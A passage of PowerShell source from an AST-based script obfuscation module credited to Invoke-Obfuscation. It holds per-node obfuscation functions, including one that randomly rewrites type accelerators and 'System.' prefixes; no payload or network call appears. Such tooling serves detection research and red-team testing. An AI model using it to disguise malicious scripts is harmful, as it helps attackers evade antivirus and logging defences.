2434 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
2435
2436 [Switch] $DisableNestedObfuscation
2437 )
2438 Process {
2439 Write-Verbose "[Out-ObfuscatedScriptBlockExpressionAst]"
2440 If (-not $DisableNestedObfuscation) {
2441 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
2442 }
2443 Else { $AbstractSyntaxTree.Extent.Text }
2444 }
2445 }
2446
2447 function Out-ObfuscatedSubExpressionAst {
2448 <#
2449
2450 .SYNOPSIS
2451
2452 Obfuscates a SubExpressionAst using AbstractSyntaxTree-based obfuscation rules.
2453
2454 Author: Ryan Cobb (@cobbr_io)
2455 License: Apache License, Version 2.0
2456 Required Dependecies: Out-ObfuscatedChildrenAst
2457 Optional Dependencies: none
2458
2459 .DESCRIPTION
2460
2461 Out-ObfuscatedSubExpressionAst obfuscates a SubExpressionAst using AbstractSyntaxTree-based obfuscation rules.
2462
2463 .PARAMETER AbstractSyntaxTree
2464
2465 Specifies the SubExpressionAst to be obfuscated.
2466
2467 .PARAMETER AstTypesToObfuscate
2468
2469 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
2470
2471 .PARAMETER DisableNestedObfuscation
2472
2473 Specifies that only the root SubExpressionAst should be obfuscated, obfuscation should not be applied recursively.
2474
2475 .OUTPUTS
2476
2477 String
2478
2479 .EXAMPLE
2480
2481 Out-ObfuscatedSubExpressionAst -Ast $SubExpressionAst
2482
2483 .NOTES
2484
2485 Out-ObfuscatedSubExpressionAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
2486
2487 #>
2488 Param (
2489 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
2490 [ValidateNotNullOrEmpty()]
2491 [Alias('Ast')]
2492 [System.Management.Automation.Language.SubExpressionAst] $AbstractSyntaxTree,
2493
2494 [Parameter(Position = 1)]
2495 [ValidateNotNullOrEmpty()]
2496 [Alias('AstTypes', 'Types')]
2497 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
2498
2499 [Switch] $DisableNestedObfuscation
2500 )
2501 Process {
2502 Write-Verbose "[Out-ObfuscatedSubExpressionAst]"
2503 If (-not $DisableNestedObfuscation) {
2504 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
2505 }
2506 Else { $AbstractSyntaxTree.Extent.Text }
2507 }
2508 }
2509
2510 function Out-ObfuscatedTypeExpressionAst {
2511 <#
2512
2513 .SYNOPSIS
2514
2515 Obfuscates a TypeExpressionAst using AbstractSyntaxTree-based obfuscation rules.
2516
2517 Author: Ryan Cobb (@cobbr_io)
2518 License: Apache License, Version 2.0
2519 Required Dependecies: Out-ObfuscatedChildrenAst
2520 Optional Dependencies: none
2521
2522 .DESCRIPTION
2523
2524 Out-ObfuscatedTypeExpressionAst obfuscates a TypeExpressionAst using AbstractSyntaxTree-based obfuscation rules.
2525
2526 .PARAMETER AbstractSyntaxTree
2527
2528 Specifies the TypeExpressionAst to be obfuscated.
2529
2530 .PARAMETER AstTypesToObfuscate
2531
2532 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
2533
2534 .PARAMETER DisableNestedObfuscation
2535
2536 Specifies that only the root TypeExpressionAst should be obfuscated, obfuscation should not be applied recursively.
2537
2538 .OUTPUTS
2539
2540 String
2541
2542 .EXAMPLE
2543
2544 Out-ObfuscatedTypeExpressionAst -Ast $TypeExpressionAst
2545
2546 .NOTES
2547
2548 Out-ObfuscatedTypeExpressionAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
2549
2550 #>
2551 Param (
2552 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
2553 [ValidateNotNullOrEmpty()]
2554 [Alias('Ast')]
2555 [System.Management.Automation.Language.TypeExpressionAst] $AbstractSyntaxTree,
2556
2557 [Parameter(Position = 1)]
2558 [ValidateNotNullOrEmpty()]
2559 [Alias('AstTypes', 'Types')]
2560 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
2561
2562 [Switch] $DisableNestedObfuscation
2563 )
2564 Process {
2565 Write-Verbose "[Out-ObfuscatedTypeExpressionAst]"
2566 If (-not ($AbstractSyntaxTree.GetType() -in $AstTypesToObfuscate)) {
2567 If (-not $DisableNestedObfuscation) {
2568 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
2569 }
2570 Else { $AbstractSyntaxTree.Extent.Text }
2571 }
2572 Else {
2573 $TypeAccelerators = @(
2574 @("[Int]", "[System.Int32]"),
2575 @("[Long]", "[System.Int64]"),
2576 @("[Bool]", "[System.Boolean]"),
2577 @("[Float]", "[System.Single]"),
2578 @("[Regex]", "[System.Text.RegularExpressions.Regex]"),
2579 @("[Xml]", "[System.Xml.XmlDocument]"),
2580 @("[ScriptBlock]", "[System.Management.Automation.ScriptBlock]"),
2581 @("[Switch]", "[System.Management.Automation.SwitchParameter]"),
2582 @("[HashTable]", "[System.Collections.HashTable]"),
2583 @("[Ref]", "[System.Management.Automation.PSReference]"),
2584 @("[PSObject]", "[System.Management.Automation.PSObject]"),
2585 @("[PSCustomObject]", "[System.Management.Automation.PSCustomObject]"),
2586 @("[PSModuleInfo]", "[System.Management.Automation.PSModuleInfo]"),
2587 @("[PowerShell]", "[System.Management.Automation.PSModuleInfo]"),
2588 @("[RunspaceFactory]", "[System.Management.Automation.Runspaces.RunspaceFactory]"),
2589 @("[Runspace]", "[System.Management.Automation.Runspaces.Runspace]"),
2590 @("[IPAddress]", "[System.Net.IPAddress]"),
2591 @("[WMI]", "[System.Management.ManagementObject]"),
2592 @("[WMISearcher]", "[System.Management.ManagementObjectSearcher]"),
2593 @("[WMIClass]", "[System.Management.ManagementClass]"),
2594 @("[ADSI]", "[System.DirectoryServices.DirectoryEntry]"),
2595 @("[ADSISearcher]", "[System.DirectoryServices.DirectorySearcher]"),
2596 @("[PSPrimitiveDictionary]", "[System.Management.Automation.PSPrimitiveDictionary]")
2597 )
2598 $TypesCannotPrependSystem = $TypeAccelerators | % { $_[0] }
2599
2600 $ObfuscatedExtent = $AbstractSyntaxTree.Extent.Text
2601 $FoundEquivalent = $False
2602 ForEach ($TypeAccelerator in $TypeAccelerators) {
2603 ForEach ($TypeName in $TypeAccelerator) {
2604 If ($TypeName.ToLower() -eq $AbstractSyntaxTree.Extent.Text.ToLower()) {
2605 $ObfuscatedExtent = $TypeAccelerator | Get-Random
2606 $FoundEquivalent = $True
2607 break
2608 }
2609 }
2610 If ($FoundEquivalent) { break }
2611 }
2612
2613 If ($ObfuscatedExtent.ToLower().StartsWith("[system.")) {
2614 If ((Get-Random -Minimum 1 -Maximum 3) -eq 1) {
2615 $ObfuscatedExtent = "[" + $ObfuscatedExtent.SubString(8)
2616 }
2617 }
2618 ElseIf ((-not $ObfuscatedExtent.ToLower().StartsWith("[system.")) -AND (-not $ObfuscatedExtent -in $TypesCannotPrependSystem)) {
2619 If ((Get-Random -Minimum 1 -Maximum 3) -eq 1) {
2620 $ObfuscatedExtent = "[System." + $ObfuscatedExtent.SubString(1)
2621 }
2622 }
2623 $ObfuscatedExtent
2624 }
2625 }
2626 }
2627
2628 function Out-ObfuscatedUnaryExpressionAst {
2629 <#
2630
2631 .SYNOPSIS
2632
2633 Obfuscates a UnaryExpressionAst using AbstractSyntaxTree-based obfuscation rules.
2634
2635 Author: Ryan Cobb (@cobbr_io)
2636 License: Apache License, Version 2.0
2637 Required Dependecies: Out-ObfuscatedChildrenAst
2638 Optional Dependencies: none
2639
2640 .DESCRIPTION
2641
2642 Out-ObfuscatedUnaryExpressionAst obfuscates a UnaryExpressionAst using AbstractSyntaxTree-based obfuscation rules.
2643
2644 .PARAMETER AbstractSyntaxTree
2645
2646 Specifies the UnaryExpressionAst to be obfuscated.
2647
2648 .PARAMETER AstTypesToObfuscate
2649
2650 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
2651
2652 .PARAMETER DisableNestedObfuscation
2653
2654 Specifies that only the root UnaryExpressionAst should be obfuscated, obfuscation should not be applied recursively.
2655
2656 .OUTPUTS
2657
2658 String
2659
2660 .EXAMPLE
2661
2662 Out-ObfuscatedUnaryExpressionAst -Ast $UnaryExpressionAst
2663
2664 .NOTES
2665
2666 Out-ObfuscatedUnaryExpressionAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
2667
2668 #>
2669 Param (
2670 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
2671 [ValidateNotNullOrEmpty()]
2672 [Alias('Ast')]
2673 [System.Management.Automation.Language.UnaryExpressionAst] $AbstractSyntaxTree,
2674
2675 [Parameter(Position = 1)]
2676 [ValidateNotNullOrEmpty()]
2677 [Alias('AstTypes', 'Types')]
2678 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
2679
2680 [Switch] $DisableNestedObfuscation
2681 )
2682 Process {
2683 Write-Verbose "[Out-ObfuscatedUnaryExpressionAst]"
2684 If (-not $DisableNestedObfuscation) {
2685 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
2686 }
2687 Else { $AbstractSyntaxTree.Extent.Text }
2688 }
2689 }
2690
2691 function Out-ObfuscatedUsingExpressionAst {
2692 <#
2693
2694 .SYNOPSIS
2695
2696 Obfuscates a UnaryExpressionAst using AbstractSyntaxTree-based obfuscation rules.
2697
2698 Author: Ryan Cobb (@cobbr_io)
2699 License: Apache License, Version 2.0
2700 Required Dependecies: Out-ObfuscatedChildrenAst
2701 Optional Dependencies: none
2702
2703 .DESCRIPTION
2704
2705 Out-ObfuscatedUsingExpressionAst obfuscates a UsingExpressionAst using AbstractSyntaxTree-based obfuscation rules.
2706
2707 .PARAMETER AbstractSyntaxTree
2708
2709 Specifies the UsingExpressionAst to be obfuscated.
2710
2711 .PARAMETER AstTypesToObfuscate
2712
2713 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
2714
2715 .PARAMETER DisableNestedObfuscation
2716
2717 Specifies that only the root UsingExpressionAst should be obfuscated, obfuscation should not be applied recursively.
2718
2719 .OUTPUTS
2720
2721 String
2722
2723 .EXAMPLE
2724
2725 Out-ObfuscatedUsingExpressionAst -Ast $UsingExpressionAst
2726
2727 .NOTES
2728
2729 Out-ObfuscatedUsingExpressionAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
2730
2731 #>
2732 Param (
2733 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
2734 [ValidateNotNullOrEmpty()]
2735 [Alias('Ast')]
2736 [System.Management.Automation.Language.UsingExpressionAst] $AbstractSyntaxTree,
2737
2738 [Parameter(Position = 1)]
2739 [ValidateNotNullOrEmpty()]
2740 [Alias('AstTypes', 'Types')]
2741 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
2742
2743 [Switch] $DisableNestedObfuscation
2744 )
2745 Process {
2746 Write-Verbose "[Out-ObfuscatedUsingExpressionAst]"
2747 If (-not $DisableNestedObfuscation) {
2748 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
2749 }
2750 Else { $AbstractSyntaxTree.Extent.Text }
2751 }
2752 }
2753
2754 function Out-ObfuscatedVariableExpressionAst {
2755 <#
2756
2757 .SYNOPSIS
2758
2759 Obfuscates a VariableExpressionAst using AbstractSyntaxTree-based obfuscation rules.
2760
2761 Author: Ryan Cobb (@cobbr_io)
2762 License: Apache License, Version 2.0
2763 Required Dependecies: Out-ObfuscatedChildrenAst
2764 Optional Dependencies: none
2765
2766 .DESCRIPTION
2767
2768 Out-ObfuscatedVariableExpressionAst obfuscates a VariableExpressionAst using AbstractSyntaxTree-based obfuscation rules.
2769
2770 .PARAMETER AbstractSyntaxTree
2771
2772 Specifies the VariableExpressionAst to be obfuscated.
2773
2774 .PARAMETER AstTypesToObfuscate
2775
2776 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
2777
2778 .PARAMETER DisableNestedObfuscation
2779
2780 Specifies that only the root VariableExpressionAst should be obfuscated, obfuscation should not be applied recursively.
2781
2782 .OUTPUTS
2783
2784 String
2785
2786 .EXAMPLE
2787
2788 Out-ObfuscatedVariableExpressionAst -Ast $VariableExpressionAst
2789
2790 .NOTES
2791
2792 Out-ObfuscatedVariableExpressionAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
2793
2794 #>
2795 Param (
2796 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
2797 [ValidateNotNullOrEmpty()]
2798 [Alias('Ast')]
2799 [System.Management.Automation.Language.VariableExpressionAst] $AbstractSyntaxTree,
2800
2801 [Parameter(Position = 1)]
2802 [ValidateNotNullOrEmpty()]
2803 [Alias('AstTypes', 'Types')]
2804 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
2805
2806 [Switch] $DisableNestedObfuscation
2807 )
2808 Process {
2809 Write-Verbose "[Out-ObfuscatedVariableExpressionAst]"
2810 If (-not $DisableNestedObfuscation) {
2811 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
2812 }
2813 Else { $AbstractSyntaxTree.Extent.Text }
2814 }
2815 }
2816
2817 # AttributedExpressionAst Inherited Class
2818
2819 function Out-ObfuscatedConvertExpressionAst {
2820 <#
2821
2822 .SYNOPSIS
2823
2824 Obfuscates a ConvertExpressionAst using AbstractSyntaxTree-based obfuscation rules.
2825
2826 Author: Ryan Cobb (@cobbr_io)
2827 License: Apache License, Version 2.0
2828 Required Dependecies: Out-ObfuscatedChildrenAst
2829 Optional Dependencies: none
2830
2831 .DESCRIPTION
2832
2833 Out-ObfuscatedConvertExpressionAst obfuscates a ConvertExpressionAst using AbstractSyntaxTree-based obfuscation rules.
2834
2835 .PARAMETER AbstractSyntaxTree
2836
2837 Specifies the ConvertExpressionAst to be obfuscated.
2838
2839 .PARAMETER AstTypesToObfuscate
2840
2841 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
2842
2843 .PARAMETER DisableNestedObfuscation
2844
2845 Specifies that only the root ConvertExpressionAst should be obfuscated, obfuscation should not be applied recursively.
2846
2847 .OUTPUTS
2848
2849 String
2850
2851 .EXAMPLE
2852
2853 Out-ObfuscatedConvertExpressionAst -Ast $ConvertExpressionAst
2854
2855 .NOTES
2856
2857 Out-ObfuscatedConvertExpressionAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
2858
2859 #>
2860 Param (
2861 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
2862 [ValidateNotNullOrEmpty()]
2863 [Alias('Ast')]
2864 [System.Management.Automation.Language.ConvertExpressionAst] $AbstractSyntaxTree,
2865
2866 [Parameter(Position = 1)]
2867 [ValidateNotNullOrEmpty()]
2868 [Alias('AstTypes', 'Types')]
2869 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
2870
2871 [Switch] $DisableNestedObfuscation
2872 )
2873 Process {
2874 Write-Verbose "[Out-ObfuscatedConvertExpressionAst]"
2875 If (-not $DisableNestedObfuscation) {
2876 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -ChildrenAsts @($AbstractSyntaxTree.Attribute, $AbstractSyntaxTree.Child) -AstTypesToObfuscate $AstTypesToObfuscate
2877 }
2878 Else { $AbstractSyntaxTree.Extent.Text }
2879 }
2880 }
2881
2882 # ConstantExpressionAst Inherited Class
2883
2884 function Out-ObfuscatedStringConstantExpressionAst {
2885 <#
2886
2887 .SYNOPSIS
2888
2889 Obfuscates a StringConstantExpressionAst using AbstractSyntaxTree-based obfuscation rules.
2890
2891 Author: Ryan Cobb (@cobbr_io)
2892 License: Apache License, Version 2.0
2893 Required Dependecies: Out-ObfuscatedChildrenAst
2894 Optional Dependencies: none
2895
2896 .DESCRIPTION
2897
2898 Out-ObfuscatedStringConstantExpressionAst obfuscates a StringConstantExpressionAst using AbstractSyntaxTree-based obfuscation rules.
2899
2900 .PARAMETER AbstractSyntaxTree
2901
2902 Specifies the StringConstantExpressionAst to be obfuscated.
2903
2904 .PARAMETER AstTypesToObfuscate
2905
2906 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
2907
2908 .PARAMETER DisableNestedObfuscation
2909
2910 Specifies that only the root StringConstantExpressionAst should be obfuscated, obfuscation should not be applied recursively.
2911
2912 .OUTPUTS
2913
2914 String
2915
2916 .EXAMPLE
2917
2918 Out-ObfuscatedStringConstantExpressionAst -Ast $StringConstantExpressionAst
2919
2920 .NOTES
2921
2922 Out-ObfuscatedStringConstantExpressionAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
2923
2924 #>
2925 Param (
2926 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
2927 [ValidateNotNullOrEmpty()]
2928 [Alias('Ast')]
2929 [System.Management.Automation.Language.StringConstantExpressionAst] $AbstractSyntaxTree,
2930
2931 [Parameter(Position = 1)]
2932 [ValidateNotNullOrEmpty()]
2933 [Alias('AstTypes', 'Types')]
2934 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
2935
2936 [Switch] $DisableNestedObfuscation
2937 )
2938 Process {
2939 Write-Verbose "[Out-ObfuscatedStringConstantExpressionAst]"
2940 If (-not $DisableNestedObfuscation) {
2941 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
2942 }
2943 Else { $AbstractSyntaxTree.Extent.Text }
2944 }
2945 }
2946
2947 # MemberExpressionAst Inherited Class
2948
2949 function Out-ObfuscatedInvokeMemberExpressionAst {
2950 <#
2951
2952 .SYNOPSIS
2953
2954 Obfuscates a InvokeMemberExpressionAst using AbstractSyntaxTree-based obfuscation rules.
2955
2956 Author: Ryan Cobb (@cobbr_io)
2957 License: Apache License, Version 2.0
2958 Required Dependecies: Out-ObfuscatedChildrenAst
2959 Optional Dependencies: none
2960
2961 .DESCRIPTION
2962
2963 Out-ObfuscatedInvokeMemberExpressionAst obfuscates a InvokeMemberExpressionAst using AbstractSyntaxTree-based obfuscation rules.
2964
2965 .PARAMETER AbstractSyntaxTree
2966
2967 Specifies the InvokeMemberExpressionAst to be obfuscated.
2968
2969 .PARAMETER AstTypesToObfuscate
2970
2971 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
2972
2973 .PARAMETER DisableNestedObfuscation
2974
2975 Specifies that only the root InvokeMemberExpressionAst should be obfuscated, obfuscation should not be applied recursively.
2976
2977 .OUTPUTS
2978
2979 String
2980
2981 .EXAMPLE
2982
2983 Out-ObfuscatedInvokeMemberExpressionAst -Ast $InvokeMemberExpressionAst
2984
2985 .NOTES
2986
2987 Out-ObfuscatedInvokeMemberExpressionAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
2988
2989 #>
2990 Param (
2991 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
2992 [ValidateNotNullOrEmpty()]
2993 [Alias('Ast')]
2994 [System.Management.Automation.Language.InvokeMemberExpressionAst] $AbstractSyntaxTree,
2995
2996 [Parameter(Position = 1)]
2997 [ValidateNotNullOrEmpty()]
2998 [Alias('AstTypes', 'Types')]
2999 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
3000
3001 [Switch] $DisableNestedObfuscation
3002 )
3003 Process {
3004 Write-Verbose "[Out-ObfuscatedInvokeMemberExpressionAst]"
3005 If (-not $DisableNestedObfuscation) {
3006 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
3007 }
3008 Else { $AbstractSyntaxTree.Extent.Text }
3009 }
3010 }
3011
3012 # InvokeMemberExpressionAst Inherited Class
3013
3014 function Out-ObfuscatedBaseCtorInvokeMemberExpressionAst {
3015 <#
3016
3017 .SYNOPSIS
3018
3019 Obfuscates a BaseCtorInvokeMemberExpressionAst using AbstractSyntaxTree-based obfuscation rules.
3020
3021 Author: Ryan Cobb (@cobbr_io)
3022 License: Apache License, Version 2.0
3023 Required Dependecies: Out-ObfuscatedChildrenAst
3024 Optional Dependencies: none
3025
3026 .DESCRIPTION
3027
3028 Out-ObfuscatedBaseCtorInvokeMemberExpressionAst obfuscates a BaseCtorInvokeMemberExpressionAst using AbstractSyntaxTree-based obfuscation rules.
3029
3030 .PARAMETER AbstractSyntaxTree
3031
3032 Specifies the BaseCtorInvokeMemberExpressionAst to be obfuscated.
3033
3034 .PARAMETER AstTypesToObfuscate
3035
3036 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
3037
3038 .PARAMETER DisableNestedObfuscation
3039
3040 Specifies that only the root BaseCtorInvokeMemberExpressionAst should be obfuscated, obfuscation should not be applied recursively.
3041
3042 .OUTPUTS
3043
3044 String
3045
3046 .EXAMPLE
3047
3048 Out-ObfuscatedBaseCtorInvokeMemberExpressionAst -Ast $InvokeMemberExpressionAst
3049
3050 .NOTES
3051
3052 Out-ObfuscatedBaseCtorInvokeMemberExpressionAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
3053
3054 #>
3055 Param (
3056 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
3057 [ValidateNotNullOrEmpty()]
3058 [Alias('Ast')]
3059 [System.Management.Automation.Language.BaseCtorInvokeMemberExpressionAst] $AbstractSyntaxTree,
3060
3061 [Parameter(Position = 1)]
3062 [ValidateNotNullOrEmpty()]
3063 [Alias('AstTypes', 'Types')]
3064 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
3065
3066 [Switch] $DisableNestedObfuscation
3067 )
3068 Process {
3069 Write-Verbose "[Out-ObfuscatedBaseCtorInvokeMemberExpressionAst]"
3070 If (-not $DisableNestedObfuscation) {
3071 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
3072 }
3073 Else { $AbstractSyntaxTree.Extent.Text }
3074 }
3075 }
3076
3077 # MemberAst Inherited Classes
3078
3079 function Out-ObfuscatedFunctionMemberAst {
3080 <#
3081
3082 .SYNOPSIS
3083
3084 Obfuscates a FunctionMemberAst using AbstractSyntaxTree-based obfuscation rules.
3085
3086 Author: Ryan Cobb (@cobbr_io)
3087 License: Apache License, Version 2.0
3088 Required Dependecies: Out-ObfuscatedChildrenAst
3089 Optional Dependencies: none
3090
3091 .DESCRIPTION
3092
3093 Out-ObfuscatedFunctionMemberAst obfuscates a FunctionMemberAst using AbstractSyntaxTree-based obfuscation rules.
3094
3095 .PARAMETER AbstractSyntaxTree
3096
3097 Specifies the FunctionMemberAst to be obfuscated.
3098
3099 .PARAMETER AstTypesToObfuscate
3100
3101 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
3102
3103 .PARAMETER DisableNestedObfuscation
3104
3105 Specifies that only the root FunctionMemberAst should be obfuscated, obfuscation should not be applied recursively.
3106
3107 .OUTPUTS
3108
3109 String
3110
3111 .EXAMPLE
3112
3113 Out-ObfuscatedFunctionMemberAst -Ast $FunctionMemberAst
3114
3115 .NOTES
3116
3117 Out-ObfuscatedFunctionMemberAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
3118
3119 #>
3120 Param (
3121 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
3122 [ValidateNotNullOrEmpty()]
3123 [Alias('Ast')]
3124 [System.Management.Automation.Language.FunctionMemberAst] $AbstractSyntaxTree,
3125
3126 [Parameter(Position = 1)]
3127 [ValidateNotNullOrEmpty()]
3128 [Alias('AstTypes', 'Types')]
3129 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
3130
3131 [Switch] $DisableNestedObfuscation
3132 )
3133 Process {
3134 Write-Verbose "[Out-ObfuscatedFunctionMemberAst]"
3135 If (-not $DisableNestedObfuscation) {
3136 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
3137 }
